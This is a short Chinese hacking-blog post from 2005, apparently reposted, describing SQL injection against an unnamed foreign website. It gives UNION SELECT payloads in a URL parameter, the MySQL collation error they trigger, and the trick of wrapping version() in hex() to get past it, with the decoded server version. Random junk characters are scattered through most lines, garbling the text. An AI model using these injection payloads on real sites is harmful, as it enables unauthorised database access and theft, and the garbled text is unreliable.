本文作者:SuperHei/ J6 e7 ~/ O# `5 B% g) w
文章性质:原创
1 f/ m/ M9 V' x/ R发布日期:2005-10-18
5 q: z( M3 C# i+ t0 H4 J& j测试个国外的站时:, `/ a _. N5 J* M7 H7 W
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*/ \+ f5 ?3 s! y7 ]# f8 ^
返回错误:
4 z; A' ^ U/ F$ Z4 ?$ dIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
{* T4 ^ y ]' Q* @MySQL Error No. 126( {) @3 O; F. P. L% ~; a/ N5 u% j
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。9 d9 L5 a! v2 G# f/ N
解决办法:转为其他编码如hex。1 N, J1 P* b; v% x* Z$ m
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*( j) s) d+ n! b
成功得到hex(version())的值为:
) t8 T$ q# R/ p k% q' W342E312E332D62657461
8 q$ x9 n5 P( x1 i& b回Mysql查询下得到:) }; u, t& V9 Y E
mysql> select 0x342E312E332D62657461;1 N" n/ l$ _1 l0 ^
+------------------------+. N- j. M9 p8 y/ A6 }
| 0x342E312E332D62657461 |* d' f8 ^' k9 X+ _
+------------------------+4 \) u, T# M) W6 |9 \
| 4.1.3-beta |- Y7 \2 x) g# D/ f( T9 e
+------------------------+, t3 S, `2 y( r% V7 ~, e3 f2 x& ?
1 row in set (0.00 sec)
( O z7 W# l# s
5 s) W- [9 N# } b6 \ |